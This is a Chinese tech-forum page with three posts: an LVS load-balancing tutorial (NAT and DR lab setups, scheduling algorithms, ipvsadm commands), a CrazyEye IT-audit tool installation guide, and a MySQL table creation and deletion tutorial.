eth0: 192.168.98.129/24 作为RIP1
lo:1 : 192.168.98.128 作为隐藏的VIP
RS1:
eth0: 192.168.98.130 作为RIP2
lo:2: 192.168.98.128 作为隐藏VIP 2. 配置地址  Director:
# ifconfig eth0 192.168.98.133/24 up
# ifconfig eth0:1 192.168.98.128/24 up
RS1
# ifconfig eth0 192.168.98.129/24 up
RS2
# ifconfig eth0 192.168.98.130/25 up3. 修改RS1,RS3的内核参数,关闭lo的arp通告和lo的arp响应,并配置隐藏地址 RS1:
# echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
# echo 2 > /proc/sys/net/ipv4/conf/lo/arp_announce
# echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
# echo 1 > /proc/sys/net/ipv4/conf/lo/arp_ignore
设置RS1的隐藏VIP地址, 并禁止其向外发广播
# ifconfig lo:1 192.168.98.128 netmask 255.255.255.255 broadcast 192.168.98.128
RS2:
# echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
# echo 2 > /proc/sys/net/ipv4/conf/lo/arp_announce
# echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
# echo 1 > /proc/sys/net/ipv4/conf/lo/arp_ignore
设置RS2的隐藏VIP地址,并禁止其向外发广播
# ifconfig lo:1 192.168.98.128 netmask 255.255.255.255 broadcast 192.168.98.1284. 为RS1和RS2添加路由条目,保证其发出报文经过eth0之前,还要先经过lo:1 VIP, 使得源地址成为VIP RS1:
# route add 192.168.98.128 dev lo:1
RS2:
# route add 192.168.98.128 dev lo:15. 此时在Director上面添加,集群服务 # ipvsadm -A -t 192.168.98.128:80 -s wlc
# ipvsadm -a -t 192.168.98.128:80 -r 192.168.98.129:80 -g -w 1
# ipvsadm -a -t 192.168.98.128:80 -r 192.168.98.130:80 -g -w 3

七、LVS持久连接

[list=1]
[*]PCC:将来自于同一个客户端发往VIP的所有请求统统定向至同一个RS 可以通过修改轮寻算法为sh算法实现[/*]
[/list] # ipvsadm -E -t 192.168.98.128:80 -s sh
[root@www ~]# curl 192.168.98.128
eb from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2 2. PPC:将来自于一个客户端发往某VIP的某端口的所有请求统统定向至同一个RS;

[list=1]
[*]PFMC: 端口绑定,port affinity, 基于防火墙标记,将两个或以上的端口绑定为同一个服务 防火墙打标记[/*]
[/list] # iptables -t mangle -A PREROUTING -d VIP -p tcp --dport CS_Port -j MARK --set-mark # (0-99)
定义集群服务:
# ipvsadm -A -f #(防火墙打的标记)转载阅读,原文地址:负载均衡LVS原理及其应用 查看全部


一、LB常用解决方案


1. 硬件负载均衡解决方案:
    []F5公司: BIG-IP[/][]Citrix公司: Netscaler[/][]A10公司: A10[/][]Array [/][]Redware[/]

2. Linux: LVS
  1. 完成Linux Virtual Server作者 (章文嵩,花名段正明)

  1. ipvs工作于netfilter框架上

  1. ipvs: 框架,工作在内核中,工作在input链上,需要依赖于规则完成转发。 如果发现发往本机INPUT链的请求,如果能匹配到集群规则,直接转发至post-routing链发出主机。 

  1. 规则: 简单来说就是把ip加端口定义为ipvs集群服务,ipvs会为此请求定义一个或多个后端服务目标地址未必会改,但是报文会被强行转发给后端的服务器。 

  1. ipvs组件: ipvsadm(用户空间,用来编写规则) + ipvs(内核空间) 

  1. ipvs工作在第四层: 

     1) 成为四层交换、四层路由。 做第四层转发。

     2) 只能基于ip和port转发,无法在应用层,session级别转发

     3) 不用到达应用层空间,就能转发

  1. lvs 性能很好,但是由于只第四层,不能到用户空间,因此不能进行更加精细的控制。 在精细控制方面,haproxy和Ngnix可以更好的实现。 

  1. lvs通常作为总入口,更精细化的切割可能使用,haproxy或者Nginx实现 

  1. 报文的信息流: CIP<–>VIP–DIP<–>RIP

     1) CIP: Client ip 

     2) VIP: virtual ip 

     3) DIP: Director IP 

     4) RIP: Real server Ip 

     客户端请求,被VIP端口接收后,从DIP接口被转发出去,并转发至RIP


二、LVS类型


1. NAT(dNAT)
    访问过程如下:

            1) CIP访问VIP 

            2) VIP接收报文后,做dNAT,指向某一个RIP 

            3) RIP拿到接收到报文后进行回应

            4) 此时需要,RIP网关指向DIP,也就是Director server. 否则若在互联网上,即便报文是可以回应给CIP客户端,但是由于CIP并没有请求RIP服务器,因此报文会被丢弃。 

        NAT特性:

            1) RS应该使用私有地址

            2) RS的网关必须指向DIP 

            3) RIP 和 DIP 必须在一同意网段内

            4) 进出的报文,无论请求还是响应,都必须经过Director Server, 请求报文由DS完成目标地址转换,响应报文由DS完成源地址转换 

            5) 在高负载应用场景中,DS很可能成为系统性能瓶颈。 

            6) 支持端口映射。

            7) 内部RS可以使用任意支持集群服务的任意操作系统。
lvs_nat.png

 
 2. DR 
1)让前端路由将请求发往VIP时,只能是Dirctor上的VIP
     禁止RS响应对VIP的ARP广播请求:
            (1) 在前端路由上实现静态MAC地址VIP的绑定;

                前提:得有路由器的配置权限;

                缺点:Directory故障转时,无法更新此绑定;

            (2) arptables

                前提:在各RS在安装arptables程序,并编写arptables规则

                缺点:依赖于独特功能的应用程序

            (3) 修改Linux内核参数

                前提:RS必须是Linux;

                缺点:适用性差; 

    Linux的工作特性:IP地址是属于主机,而非某特定网卡;也就是说,主机上所有的网卡都会向外通告,需要先配置参数,然后配置IP,因为只要IP地址配置完成则开始想外通告mac地址为了使响应报文由配置有VIP的lo包装,使源地址为VIP,需要配置路由经过lo网卡的别名,最终由eth0发出

             两个参数的取值含义:

                    arp_announce:定义通告模式

                        0: default, 只要主机接入网络,则自动通告所有为网卡mac地址

                        1: 尽力不通告非直接连入网络的网卡mac地址

                        2: 只通告直接进入网络的网卡mac地址

                    arp_ignore:定义收到arp请求的时响应模式

                        0: 只有arp 广播请求,马上响应,并且响应所有本机网卡的mac地址

                        1: 只响应,接受arp广播请求的网卡接口mac地址

                        2: 只响应,接受arp广播请求的网卡接口mac地址,并且需要请求广播与接口地址属于同一网段

                        3: 主机范围(Scope host)内生效的接口,不予响应,只响应全局生效与外网能通信的网卡接口

                        4-7: 保留位

                        8: 不响应一切arp广播请求
    配置方法: 

                    全部网卡

                        arp_ignore 1

                        arp_announce 2 

                    同时再分别配置每个网卡,eth0和lo

                        arp_ignore 1

                        arp_annource 2

2) 特性
   (1)RS是可以使用公网地址,此时可以直接通过互联网连入,配置,监控RS服务器
   (2)RS的网不能指向DIP
   (3)RS跟DS要在同一物理网络内,最好在一同一网段内
   (4)请求报文经过Director但是相应报文不经过Director
   (5)不支持端口映射
   (6)RS可以使用,大多数的操作系统,至少要可以隐藏VIP
lvs_dr_1.png

lvs_dr_2.png

3. LVS TUN: IP隧道,IP报文中套IP报文 
        1)RIP,DIP,VIP都必须是公网地址

        2)RS网关不会指向DIP

        3)请求报文经过Director,但相应报文一定不经过Director

        4)不支持端口映射

        5)RS的OS必须得支持隧道功能
lvs_lun.png

 4. FULLNAT: 必须内核打补丁才能使用,使得各RS主机可以跨vlan. 源IP和目标IP都修改
full_nat.png


三、LVS调度算法


1. 静态方法:仅根据算法本身进行调度

        rr: Round Robin

        wrr: Weighted RR

        sh: source hashing,源地址进行hash,然后分配到特定的服务器

        dh: destination hashing

            用于多前端防火墙的场景中,使得访问从一个防火墙进同时还从这个防火墙出来。 

2. 动态方法:根据算法及RS当前的负载状况

        lc: Least Connection

            Overhead=Active*256+Inactive

            结果中,最小者胜出;

        wlc: Weighted LC

            Overhead=(Active*256+Inactive)/weight

        sed: Shortest Expect Delay

            Overhead=(Active+1)*256/weight

        nq: Nerver Queue,在Sed基础上,开局时候先轮寻一圈。 

        lblc: Locality-based Least Connection (基于本地的最小连接) dh+lc

        lblcr: Replicated and Locality-based Least Connection 后端服务器是缓存服务器时, 可以绑定连接到某一缓存服务器中。

3. LVS缺陷: 

    不能检测后端服务器的健康状况,总是发送连接到后端。 

    Session持久机制:

        1、session绑定:始终将同一个请求者的连接定向至同一个RS(第一次请求时仍由调度方法选择);没有容错能力,有损均衡效果;

        2、session复制:在RS之间同步session,因此,每个RS持集群中所有的session;对于大规模集群环境不适用;

        3、session服务器:利用单独部署的服务器来统一管理session; 


四、ipvsadm使用方法


1.相关命令
ipvsadm -A|E -t|u|f service-address [-s scheduler] [-p [timeout]] [-M netmask]    
ipvsadm -D -t|u|f service-address
ipvsadm -C
ipvsadm -R
ipvsadm -S [-n]
ipvsadm -a|e -t|u|f service-address -r server-address [-g|i|m] [-w weight] [-x upper] [-y lower]
ipvsadm -d -t|u|f service-address -r server-address
ipvsadm -L|l [options]
ipvsadm -Z [-t|u|f service-address]
 2. 集群服务相关
    -A: 添加一个集群服务
-t: tcp
-u: udp
-f: firewall mark,
通常用于将两个或以上的服务绑定为一个服务进行处理时使用
例如httpd和https
iptables mongo表一起使用

service-address:
-t IP:port
-u ip:port
-f firewall_mark

-s 调度方法,默认为wlc
-p timeout: persistent connection, 持久连接
-E 修改定义过的集群服务
-D -t|u|f service-address:删除指定的集群服务
 3. RS相关
        -a:向指定的Cluster services中添加RS
-t|-u|-f service-address:指明将RS添加至哪个Cluster Service中
-r: 指定RS,可包含{IP[:port]},只有支持端口映射的LVS类型才允许此处使用跟集群服务中不同的端口
LVS类型:
-g: Gateway模式,就是DR模型(默认)
-i: ipip模式,TUN模型
-m: masquerade地址伪装自动完成后半段的原地址转换,NAT
指定RS权重:
-w # 省略权重为1
-e: 修改指定的RS属性
-d -t|u|f service-address -r server-address:从指定的集群服务中删除某RS
4. 清空所有的集群服务:
-C
5. 保存规则:(使用输出重定向)
ipvsadm-save 
ipvsadm -S
6. 载入指定的规则:(使用输入重定向)
ipvsadm-restore
ipvsadm -R
 7. 查看ipvs规则等
    -L [options]
-n: 数字格式显示IP地址
-c: 显示连接数相关信息
--stats: 显示统计数据
--rate: 速率
--exact:显示统计数据的精确值
--timeout: 超时时间
-Z: 计数器清零


五、LVS NAT模型的实现


[list=1]
[*]集群环境: 一台Director, 两台后端Real Server RS1,RS2
    Director: 两网卡    [/*]
[/list] eth0: 192.168.98.133/24
eth1: 172.25.136.10/24
eth0:1: 192.168.98.128/24 作为VIP地址

RS1:
eth0: 172.25.136.11

RS2:
eth0: 172.25.136.12;
    Director的eth1和RS1,RS2的eth0在模拟在同一物理网络内,使用VMnet2    
物理机windows 7 作为客户端,在192.168.98.0网络内
2. 为RS添加网关指向Director
    RS1:    
# ifconfig eth0 172.25.136.11/24
# route add default gw 172.25.136.10
RS2:
# ifconfig eth0 172.25.136.12/24
# route add default gw 172.25.136.10
添加完路由条目后,应该可以ping通Director 192.168.98.0网段的两个地址。
3. 修改内核参数,开启转发功能
# echo 1 > /proc/sys/net/ipv4/ip_forward
 4. 在RS1和RS2上面创建测试页,并在Director验证服务
    RS1上
# echo 'web from RS1' > /var/www/html/index.html
# service httpd start
RS2上
# echo 'web from RS2' > /var/www/html/index.html
# service httpd start
Director上验证
# curl 172.25.136.11
web from RS1
# curl 172.25.136.12
web from RS2
5. 在Director添加集群服务
    # ipvsadm -A -t 192.168.98.128:80 -s wlc    
# ipvsadm -a -t 192.168.98.128:80 -r 172.25.136.11:80 -m -w 1
# ipvsadm -a -t 192.168.98.128:80 -r 172.25.136.12:80 -m -w 3
6. 通过物理机浏览器访问192.168.98.128, 正常情况,就可以看到轮寻的两个RS的主页了。 
    访问几次后,查看统计数据如下,大概接入报文比例3:1, 说明wlc生效了    
# ipvsadm -L --stats
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Conns InPkts OutPkts InBytes OutBytes
-> RemoteAddress:Port
TCP 192.168.98.128:http 45 227 227 32215 19245
-> 136-11.priv25.nus.edu.sg:htt 12 62 62 8571 6055
-> 136-12.priv25.nus.edu.sg:htt 33 165 165 23644 13190


六、LVS DR模型,当DIP,VIP,RIP都为公网地址时(实验环境中,把这三个地址全部放在同一物理网络中)


[list=1]
[*]地址规划:
    Director:     [/*]
[/list] eth0: 192.168.98.133 作为ssh通信地址
eth0:1: 192.168.98.128 作为VIP, 可以进行浮动
RS1:
eth0: 192.168.98.129/24 作为RIP1
lo:1 : 192.168.98.128 作为隐藏的VIP
RS1:
eth0: 192.168.98.130 作为RIP2
lo:2: 192.168.98.128 作为隐藏VIP
 2. 配置地址 
    Director: 
# ifconfig eth0 192.168.98.133/24 up
# ifconfig eth0:1 192.168.98.128/24 up
RS1
# ifconfig eth0 192.168.98.129/24 up
RS2
# ifconfig eth0 192.168.98.130/25 up
3. 修改RS1,RS3的内核参数,关闭lo的arp通告和lo的arp响应,并配置隐藏地址
    RS1: 
# echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
# echo 2 > /proc/sys/net/ipv4/conf/lo/arp_announce
# echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
# echo 1 > /proc/sys/net/ipv4/conf/lo/arp_ignore
设置RS1的隐藏VIP地址, 并禁止其向外发广播
# ifconfig lo:1 192.168.98.128 netmask 255.255.255.255 broadcast 192.168.98.128
RS2:
# echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
# echo 2 > /proc/sys/net/ipv4/conf/lo/arp_announce
# echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
# echo 1 > /proc/sys/net/ipv4/conf/lo/arp_ignore
设置RS2的隐藏VIP地址,并禁止其向外发广播
# ifconfig lo:1 192.168.98.128 netmask 255.255.255.255 broadcast 192.168.98.128
4. 为RS1和RS2添加路由条目,保证其发出报文经过eth0之前,还要先经过lo:1 VIP, 使得源地址成为VIP
    RS1:     
# route add 192.168.98.128 dev lo:1
RS2:
# route add 192.168.98.128 dev lo:1
5. 此时在Director上面添加,集群服务
    # ipvsadm -A -t 192.168.98.128:80 -s wlc    
# ipvsadm -a -t 192.168.98.128:80 -r 192.168.98.129:80 -g -w 1
# ipvsadm -a -t 192.168.98.128:80 -r 192.168.98.130:80 -g -w 3


七、LVS持久连接


[list=1]
[*]PCC:将来自于同一个客户端发往VIP的所有请求统统定向至同一个RS
    可以通过修改轮寻算法为sh算法实现[/*]
[/list] # ipvsadm -E -t 192.168.98.128:80 -s sh
[root@www ~]# curl 192.168.98.128
eb from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
[root@www ~]# curl 192.168.98.128
web from RS2
 2. PPC:将来自于一个客户端发往某VIP的某端口的所有请求统统定向至同一个RS;

[list=1]
[*]PFMC: 端口绑定,port affinity, 基于防火墙标记,将两个或以上的端口绑定为同一个服务
    防火墙打标记[/*]
[/list] # iptables -t mangle -A PREROUTING -d VIP -p tcp --dport CS_Port -j MARK --set-mark # (0-99)
定义集群服务:
# ipvsadm -A -f #(防火墙打的标记)
转载阅读,原文地址:负载均衡LVS原理及其应用

基于Python开发的IT管理软件CrazyEye

开源项目采菊篱下 发表了文章 • 0 个评论 • 3932 次浏览 • 2015-10-12 22:22 • 来自相关话题

CrazyEye介绍

CrazyEye是基于Python开发的一款简单易用的IT管理软件,目前主要具体以下功能:
[]运维审计[/]
                      支持主机分组管理
                      可为运维人员分配指定服务器、指定账号的操作权限
                      运维人员的所有操作均可被记录下来以供日后审计
[]主机批量操作[/]
                      可对指定数量的机器进行批量命令、文件分发操作,可实时查看操作进度和结果Warning 目前暂时不支持对Windows系统的操作审计和批量任务

下载

$ git clone https://github.com/triaquae/CrazyEye.git

安装

在安装CrazyEye前请确保你的Linux系统的Python版本是2.7+,Python3.0+还未做过测试,请谨慎使用

CrazyEye安装所需要的组件:
[]Django 1.8+[/][]Paramiko 最新版本[/][]Django suite[/][]django-session-security[/][]Shellinabox[/][]Mysql[/][]Python 连接Mysql的模块[/]
 
开始安装
      1.安装Django,Paramiko,Django-suite,MySQL-python$ pip install Django==1.8.4

$ pip install django-suit==0.2.15

$ pip install django-session-security

$ pip install paramiko

#安装python连接mysql的模块
$ yum install MySQL-python #for CentOS
$ sudo apt-get install python-mysqldb #for Ubuntu      2.安装Shellinabox$ git clone https://github.com/anilgulecha/shellinabox.git
$ cd shellinabox
$ ./configure
$ make && makeinstall      3.安装CrazyEye
         下载最新版CrazyEye源码并解压后,编辑主配置文件 CrazyEye/settings.py, 在此配置文件中配置好与Mysql数据库的连接# Database
# https://docs.djangoproject.com/en/1.8/ref/settings/#databases

DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'CrazyEyes', #需要你自己在你的mysql数据库中先创建好该数据库
'HOST': '', #如果数据库在远程的机器上,此处填写远程数据库服务器的IP
'PORT':3306,
'USER':'root',
'PASSWORD': '' #为空代表没密码
}
}

$ mysql -uroot -p

[quote] create database CrazyEyes character set utf8; #一定要设置成utf8格式噢[/quote]

[quote] exit;      4.配置Mysql数据库支持中文
         打开mysql 数据库配置文件,分别在[mysqld]和[client]部分添加以下内容:[mysqld]
character-set-server=utf8
...[/quote]

[client]
default-character-set=utf8
#注意,修改完配置后需要重启Mysql服务后才能生活噢!      5.在主目录执行以下命令来初始化CrazyEye的数据库表结构:$ python manage.py syncdb
$ python manage.py makemigrations
$ python manage.py migrate

$ python manage.py createsuperuser #创建管理员用户(如果在执行python manage.py syncdb的时候已经创建了用户了,这一步可以不执行)      6.创建一个审计用户 crazy_audit ,并在此用户的 .bashrc 用户环境变量文件的最底部,加上以下两条代码:$ useradd crazy_audit

$ su - crazy_audit
$ vi .bashrc
#在尾部添加以下2行代码:
python /YourCrazyEyeInstallPath/CrazyEye/crazy_eyes_mgr.py run
logout

#此时crazy_audit用户的环境变量配置文件 看上去如下
$ more /home/crazy_audit/.bashrc
...
...
python /YourCrazyEyeInstallPath/CrazyEye/crazy_eyes_mgr.py run #把YourCrazyEyeInstallPath替换成你自己的软件安装目录
logout

#用ssh登录到此用户,在输入用户名密码后,如果显示以下提示,则代表配置成功 (执行此步之前,先执行第7步,登录后台http://localhost:8000/admin,找到CrazyEye账户,创建一个用户,再来这里登录!!)

press ENTER if you don't have token, [input your token]: #此处敲回车
Username:
Password:      7.启动WEB登录页面
         python manage.py runserver 0.0.0.0:8000 , 然后在浏览器输入此地址 http://localhost:8000/admin ,输入你刚才创建的管理员用户名和密码




CrazyEye已经成功安装,后面可以开始配置了!

配置CrazyEye

[]创建主机[/][]创建远程用户[/][]创建主机与远程用户绑定关系[/][]创建CrazyEye账户[/][]设置批量任务最大并发数[/][]配置WebSSH[/]

部署到生产环境

CrazyEye默认是以测试环境运行的,在测试环境下,所有的功能虽然和生产环境模式都是一样的,但是却是不能支持多并发的,因为CrazyEye所依赖的Django WEB服务器是单线程的,So如果想让CrazeEye支持高并发,需要借助Apachel或Nginx Web服务器,我们建议你使用Nginx来做CrazyEye的高并发。

若想让nginx支持Django web服务,需要借助一个第三方Python模块叫uwsgi,具体安装和配置nginx支持Django的方法请参考uwsgi官方文档!Uwsgi文档: http://uwsgi-docs.readthedocs.org/en/latest/tutorials/Django_and_nginx.html

ScreenShots

[]查看软件相关功能截图[/]
 

作者介绍

Alex,多年运维+自动化开发经验,曾任职公安部、飞信、Nokia中国、中金公司、Advent软件、汽车之家等公司,目前任老男孩教育Python教学总监,热爱技术、电影、音乐、旅游、妹子!




项目地址

https://github.com/triaquae/CrazyEye 查看全部


CrazyEye介绍


CrazyEye是基于Python开发的一款简单易用的IT管理软件,目前主要具体以下功能:
    []运维审计[/]

                      支持主机分组管理
                      可为运维人员分配指定服务器、指定账号的操作权限
                      运维人员的所有操作均可被记录下来以供日后审计
    []主机批量操作[/]

                      可对指定数量的机器进行批量命令、文件分发操作,可实时查看操作进度和结果
Warning 目前暂时不支持对Windows系统的操作审计和批量任务


下载


$ git clone https://github.com/triaquae/CrazyEye.git


安装


在安装CrazyEye前请确保你的Linux系统的Python版本是2.7+,Python3.0+还未做过测试,请谨慎使用

CrazyEye安装所需要的组件:
    []Django 1.8+[/][]Paramiko 最新版本[/][]Django suite[/][]django-session-security[/][]Shellinabox[/][]Mysql[/][]Python 连接Mysql的模块[/]

 
开始安装
      1.安装Django,Paramiko,Django-suite,MySQL-python
$ pip install Django==1.8.4

$ pip install django-suit==0.2.15

$ pip install django-session-security

$ pip install paramiko

#安装python连接mysql的模块
$ yum install MySQL-python #for CentOS
$ sudo apt-get install python-mysqldb #for Ubuntu
      2.安装Shellinabox
$ git clone https://github.com/anilgulecha/shellinabox.git
$ cd shellinabox
$ ./configure
$ make && makeinstall
      3.安装CrazyEye
         下载最新版CrazyEye源码并解压后,编辑主配置文件 CrazyEye/settings.py, 在此配置文件中配置好与Mysql数据库的连接
# Database
# https://docs.djangoproject.com/en/1.8/ref/settings/#databases

DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'CrazyEyes', #需要你自己在你的mysql数据库中先创建好该数据库
'HOST': '', #如果数据库在远程的机器上,此处填写远程数据库服务器的IP
'PORT':3306,
'USER':'root',
'PASSWORD': '' #为空代表没密码
}
}

$ mysql -uroot -p

[quote] create database CrazyEyes character set utf8; #一定要设置成utf8格式噢[/quote]

[quote] exit;
      4.配置Mysql数据库支持中文
         打开mysql 数据库配置文件,分别在[mysqld]和[client]部分添加以下内容:
[mysqld]
character-set-server=utf8
...[/quote]

[client]
default-character-set=utf8
#注意,修改完配置后需要重启Mysql服务后才能生活噢!
      5.在主目录执行以下命令来初始化CrazyEye的数据库表结构:
$ python manage.py syncdb
$ python manage.py makemigrations
$ python manage.py migrate

$ python manage.py createsuperuser #创建管理员用户(如果在执行python manage.py syncdb的时候已经创建了用户了,这一步可以不执行)
      6.创建一个审计用户 crazy_audit ,并在此用户的 .bashrc 用户环境变量文件的最底部,加上以下两条代码:
$ useradd crazy_audit

$ su - crazy_audit
$ vi .bashrc
#在尾部添加以下2行代码:
python /YourCrazyEyeInstallPath/CrazyEye/crazy_eyes_mgr.py run
logout

#此时crazy_audit用户的环境变量配置文件 看上去如下
$ more /home/crazy_audit/.bashrc
...
...
python /YourCrazyEyeInstallPath/CrazyEye/crazy_eyes_mgr.py run #把YourCrazyEyeInstallPath替换成你自己的软件安装目录
logout

#用ssh登录到此用户,在输入用户名密码后,如果显示以下提示,则代表配置成功 (执行此步之前,先执行第7步,登录后台http://localhost:8000/admin,找到CrazyEye账户,创建一个用户,再来这里登录!!)

press ENTER if you don't have token, [input your token]: #此处敲回车
Username:
Password:
      7.启动WEB登录页面
         python manage.py runserver 0.0.0.0:8000 , 然后在浏览器输入此地址 http://localhost:8000/admin ,输入你刚才创建的管理员用户名和密码
ceye.png

CrazyEye已经成功安装,后面可以开始配置了!


配置CrazyEye




部署到生产环境


CrazyEye默认是以测试环境运行的,在测试环境下,所有的功能虽然和生产环境模式都是一样的,但是却是不能支持多并发的,因为CrazyEye所依赖的Django WEB服务器是单线程的,So如果想让CrazeEye支持高并发,需要借助Apachel或Nginx Web服务器,我们建议你使用Nginx来做CrazyEye的高并发。

若想让nginx支持Django web服务,需要借助一个第三方Python模块叫uwsgi,具体安装和配置nginx支持Django的方法请参考uwsgi官方文档!
Uwsgi文档: http://uwsgi-docs.readthedocs.org/en/latest/tutorials/Django_and_nginx.html


ScreenShots



 


作者介绍


Alex,多年运维+自动化开发经验,曾任职公安部、飞信、Nokia中国、中金公司、Advent软件、汽车之家等公司,目前任老男孩教育Python教学总监,热爱技术、电影、音乐、旅游、妹子!
ceye2.png


项目地址


https://github.com/triaquae/CrazyEye

mysql创建和删除表

数据库Ansible 发表了文章 • 0 个评论 • 726 次浏览 • 2015-06-26 19:15 • 来自相关话题

创建表
简单的方式:CREATE TABLE person (
number INT(11),
name VARCHAR(255),
birthday DATE
);或者是CREATE TABLE IF NOT EXISTS person (
number INT(11),
name VARCHAR(255),
birthday DATE
);
查看mysql创建表:> SHOW CREATE table person;

CREATE TABLE `person` (
`number` int(11) DEFAULT NULL,
`name` varchar(255) DEFAULT NULL,
`birthday` date DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
查看表所有的列:> SHOW FULL COLUMNS from person;
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| number | int(11) | NULL | YES | | NULL | | select,insert,update,references | |
| name | varchar(255) | utf8_general_ci | YES | | NULL | | select,insert,update,references | |
| birthday | date | NULL | YES | | NULL | | select,insert,update,references | |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
创建临时表CREATE TEMPORARY TABLE temp_person (
number INT(11),
name VARCHAR(255),
birthday DATE
);

在创建表格时,您可以使用TEMPORARY关键词。只有在当前连接情况下,TEMPORARY表才是可见的。当连接关闭时,TEMPORARY表被自动取消。这意味着两个不同的连接可以使用相同的临时表名称,同时两个临时表不会互相冲突,也不与原有的同名的非临时表冲突。(原有的表被隐藏,直到临时表被取消时为止。)您必须拥有CREATE TEMPORARY TABLES权限,才能创建临时表。

如果表已存在,则使用关键词IF NOT EXISTS可以防止发生错误。CREATE TABLE IF NOT EXISTS person2 (
number INT(11),
name VARCHAR(255),
birthday DATE
);

注意,原有表的结构与CREATE TABLE语句中表示的表的结构是否相同,这一点没有验证。注释:如果您在CREATE TABLE...SELECT语句中使用IF NOT EXISTS,则不论表是否已存在,由SELECT部分选择的记录都会被插入

在CREATE TABLE语句的末尾添加一个SELECT语句,在一个表的基础上创建表CREATE TABLE new_tbl SELECT [i] FROM orig_tbl;注意,用SELECT语句创建的列附在表的右侧,而不是覆盖在表上mysql> SELECT [/i] FROM foo;
+---+
| n |
+---+
| 1 |
+---+
mysql> CREATE TABLE bar (m INT) SELECT n FROM foo;
mysql> SELECT * FROM bar;
+------+---+
| m | n |
+------+---+
| NULL | 1 |
+------+---+也可以明确地为一个已生成的列指定类型CREATE TABLE foo (a TINYINT NOT NULL) SELECT b+1 AS a FROM bar;根据其它表的定义(包括在原表中定义的所有的列属性和索引),使用LIKE创建一个空表:CREATE TABLE new_tbl LIKE orig_tbl; 创建一个有主键,唯一索引,普通索引的表:CREATE TABLE `people` (
`peopleid` smallint(6) NOT NULL AUTO_INCREMENT,
`firstname` char(50) NOT NULL,
`lastname` char(50) NOT NULL,
`age` smallint(6) NOT NULL,
`townid` smallint(6) NOT NULL,
PRIMARY KEY (`peopleid`),
UNIQUE KEY `unique_fname_lname`(`firstname`,`lastname`),
KEY `fname_lname_age` (`firstname`,`lastname`,`age`)
) ;其中peopleid是主键,以firstname和lastname两列建立了一个唯一索引,以firstname,lastname,age三列建立了一个普通索引
 
删除表
 DROP TABLE tbl_name;

或者是

DROP TABLE IF EXISTS tbl_name;清空表数据
TRUNCATE TABLE table_name 查看全部
创建表
简单的方式:
CREATE TABLE person (
number INT(11),
name VARCHAR(255),
birthday DATE
);
或者是
CREATE TABLE IF NOT EXISTS person (
number INT(11),
name VARCHAR(255),
birthday DATE
);

查看mysql创建表:
> SHOW CREATE table person;

CREATE TABLE `person` (
`number` int(11) DEFAULT NULL,
`name` varchar(255) DEFAULT NULL,
`birthday` date DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

查看表所有的列:
> SHOW FULL COLUMNS from person;
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| number | int(11) | NULL | YES | | NULL | | select,insert,update,references | |
| name | varchar(255) | utf8_general_ci | YES | | NULL | | select,insert,update,references | |
| birthday | date | NULL | YES | | NULL | | select,insert,update,references | |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+

创建临时表
CREATE TEMPORARY TABLE temp_person (
number INT(11),
name VARCHAR(255),
birthday DATE
);


在创建表格时,您可以使用TEMPORARY关键词。只有在当前连接情况下,TEMPORARY表才是可见的。当连接关闭时,TEMPORARY表被自动取消。这意味着两个不同的连接可以使用相同的临时表名称,同时两个临时表不会互相冲突,也不与原有的同名的非临时表冲突。(原有的表被隐藏,直到临时表被取消时为止。)您必须拥有CREATE TEMPORARY TABLES权限,才能创建临时表。


如果表已存在,则使用关键词IF NOT EXISTS可以防止发生错误。
CREATE TABLE IF NOT EXISTS person2 (
number INT(11),
name VARCHAR(255),
birthday DATE
);


注意,原有表的结构与CREATE TABLE语句中表示的表的结构是否相同,这一点没有验证。注释:如果您在CREATE TABLE...SELECT语句中使用IF NOT EXISTS,则不论表是否已存在,由SELECT部分选择的记录都会被插入


在CREATE TABLE语句的末尾添加一个SELECT语句,在一个表的基础上创建表
CREATE TABLE new_tbl SELECT [i] FROM orig_tbl;
注意,用SELECT语句创建的列附在表的右侧,而不是覆盖在表上
mysql> SELECT [/i] FROM foo;
+---+
| n |
+---+
| 1 |
+---+
mysql> CREATE TABLE bar (m INT) SELECT n FROM foo;
mysql> SELECT * FROM bar;
+------+---+
| m | n |
+------+---+
| NULL | 1 |
+------+---+
也可以明确地为一个已生成的列指定类型
CREATE TABLE foo (a TINYINT NOT NULL) SELECT b+1 AS a FROM bar;
根据其它表的定义(包括在原表中定义的所有的列属性和索引),使用LIKE创建一个空表:
CREATE TABLE new_tbl LIKE orig_tbl;
 创建一个有主键,唯一索引,普通索引的表:
CREATE TABLE `people` (
`peopleid` smallint(6) NOT NULL AUTO_INCREMENT,
`firstname` char(50) NOT NULL,
`lastname` char(50) NOT NULL,
`age` smallint(6) NOT NULL,
`townid` smallint(6) NOT NULL,
PRIMARY KEY (`peopleid`),
UNIQUE KEY `unique_fname_lname`(`firstname`,`lastname`),
KEY `fname_lname_age` (`firstname`,`lastname`,`age`)
) ;
